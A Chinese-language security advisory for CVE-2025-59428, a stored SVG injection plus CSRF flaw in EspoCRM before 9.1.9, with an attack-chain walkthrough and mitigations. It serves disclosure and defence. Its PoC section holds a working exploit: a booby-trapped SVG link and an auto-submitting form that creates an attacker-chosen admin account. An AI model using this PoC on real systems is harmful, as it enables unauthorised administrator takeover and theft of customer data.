IPBUF安全漏洞报告
English
CVE-2025-59428 CVSS 5.4 中危

CVE-2025-59428 EspoCRM存储型SVG注入与CSRF组合漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-59428
漏洞类型
存储型XSS(SVG注入)+ CSRF(跨站请求伪造)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
EspoCRM

相关标签

CVE-2025-59428EspoCRM存储型XSSSVG注入CSRF跨站请求伪造权限提升账户创建中危漏洞CRM系统

漏洞概述

CVE-2025-59428是EspoCRM开源客户关系管理系统中的一个组合型安全漏洞,CVSS评分为5.4,属于中危级别。该漏洞通过存储型SVG注入(Stored SVG Injection)与跨站请求伪造(CSRF)保护缺失的组合利用,允许攻击者在未经授权的情况下创建任意用户账户,包括具有管理员权限的账户。EspoCRM是一款广泛使用的开源CRM应用,主要用于企业的销售管理、客户跟踪、营销活动等业务场景。该漏洞影响9.1.9之前的所有版本,由于EspoCRM在企业环境中通常存储大量敏感的客户数据,未经授权的管理员账户创建可能导致严重的数据泄露、业务中断和合规性问题。该漏洞已于2025年10月14日披露,并在EspoCRM 9.1.9版本中完成修复。漏洞的发现者为GitHub安全顾问团队([email protected]),通过GitHub Security Advisories平台报告。攻击者需要具备Knowledge Base(知识库)的编辑权限才能发起初始攻击,这使得该漏洞的利用门槛相对较低,但需要用户交互(点击恶意链接)才能完成最终的攻击链。

技术细节

该漏洞的核心原理是利用EspoCRM对知识库文章中SVG元素内容过滤不严格,以及用户创建API端点(api/v1/User)缺乏CSRF保护机制,形成完整的攻击链。

技术原理:
1. SVG注入:EspoCRM允许在知识库文章的body字段中嵌入SVG元素。SVG作为XML格式的图像文件,可以包含JavaScript脚本和超链接元素(<a>标签)。攻击者可以构造包含恶意链接的SVG元素并将其嵌入到文章正文中。
2. CSRF保护缺失:EspoCRM的api/v1/User端点未实施有效的CSRF Token验证或SameSite Cookie策略,导致跨域请求可以被伪造执行。
3. 组合攻击:攻击者首先在SVG的<a>标签href属性中嵌入指向攻击者控制服务器的URL。当合法用户(尤其是管理员)查看包含该SVG的文章并点击链接时,会被重定向到攻击者控制的HTML页面。该页面通过JavaScript自动提交一个表单或发起AJAX请求到EspoCRM的api/v1/User端点,创建新的用户账户。由于CSRF保护缺失,浏览器会自动携带目标站点的会话Cookie,使请求看起来像是合法用户发起的。

利用条件:
- 攻击者需要拥有Knowledge Base的编辑权限(PR:L - 低权限要求)
- 需要受害者点击恶意链接(UI:R - 需要用户交互)
- 如果受害者被诱导输入凭据,则可以创建具有任意权限级别的账户

CVSS向量分析:AV:N(网络可利用)、AC:L(攻击复杂度低)、PR:L(需要低权限)、UI:R(需要用户交互)、S:C(范围变更)、C:L(机密性影响低)、I:L(完整性影响低)、A:N(可用性无影响)。

攻击链分析

STEP 1
步骤1:获取初始权限
攻击者首先获取EspoCRM系统的合法账户,并具备Knowledge Base(知识库)模块的编辑权限。这可以通过社会工程学、注册开放注册功能或利用其他低危漏洞实现。
STEP 2
步骤2:注入恶意SVG
攻击者在知识库文章的body字段中嵌入精心构造的SVG元素,该SVG包含指向攻击者控制服务器的恶意链接。链接文本伪装为正常内容(如'点击查看重要更新'),诱导用户点击。
STEP 3
步骤3:诱导受害者点击
当合法用户(尤其是管理员)查看包含恶意SVG的知识库文章并点击链接时,会被重定向到攻击者控制的外部HTML页面。
STEP 4
步骤4:触发CSRF攻击
攻击者控制的HTML页面通过JavaScript自动构造并提交一个表单,目标是EspoCRM的api/v1/User端点。由于该端点缺乏CSRF保护,浏览器会自动携带受害者的会话Cookie。
STEP 5
步骤5:创建恶意账户
EspoCRM服务器接收请求后,误认为这是合法用户发起的操作,根据CSRF payload中的参数创建一个新的用户账户。攻击者可以指定isAdmin=true来创建管理员账户。
STEP 6
步骤6:权限提升与数据窃取
攻击者使用新创建的账户(特别是管理员账户)登录系统,访问敏感客户数据、导出商业信息或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-59428 PoC: EspoCRM Stored SVG Injection + CSRF --> <!-- Step 1: Malicious SVG embedded in Knowledge Base article body field --> <!-- Attacker with Knowledge Base edit permission posts the following content --> <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"> <a href="https://attacker-controlled-server.com/exploit.html" target="_blank"> <rect width="100" height="100" fill="blue"/> <text x="10" y="50" fill="white">Click here for important update</text> </a> </svg> <!-- Step 2: Hosted on attacker server (https://attacker-controlled-server.com/exploit.html) --> <!-- This page auto-submits a CSRF request to create an admin user --> <!DOCTYPE html> <html> <head><title>Important Update</title></head> <body> <form id="csrfForm" method="POST" action="https://victim-espocrm.com/api/v1/User"> <input type="hidden" name="userName" value="admin_support" /> <input type="hidden" name="password" value="P@ssw0rd!2025" /> <input type="hidden" name="firstName" value="Support" /> <input type="hidden" name="lastName" value="Admin" /> <input type="hidden" name="title" value="System Administrator" /> <input type="hidden" name="isAdmin" value="true" /> <input type="hidden" name="type" value="admin" /> </form> <script> // Auto-submit the form to create admin account via CSRF document.getElementById('csrfForm').submit(); </script> </body> </html> <!-- Note: EspoCRM's api/v1/User endpoint lacks CSRF token validation, --> <!-- allowing the browser to send authenticated session cookies automatically. --> <!-- If the victim is an authenticated admin, an attacker-controlled admin account is created. -->

影响范围

EspoCRM < 9.1.9

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Knowledge Base编辑权限的分配范围,仅授予可信任的用户;2)在Web应用防火墙(WAF)层面添加规则,阻止包含可疑SVG内容的POST请求;3)通过反向代理或Web服务器配置为/api/v1/User端点添加CSRF Token验证或Referer检查;4)监控和审计所有新创建的用户账户,特别是具有管理员权限的账户;5)通知所有用户不要轻易点击知识库文章中的外部链接,尤其是来自不熟悉作者的链接;6)考虑临时禁用知识库功能或将其设置为只读模式,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表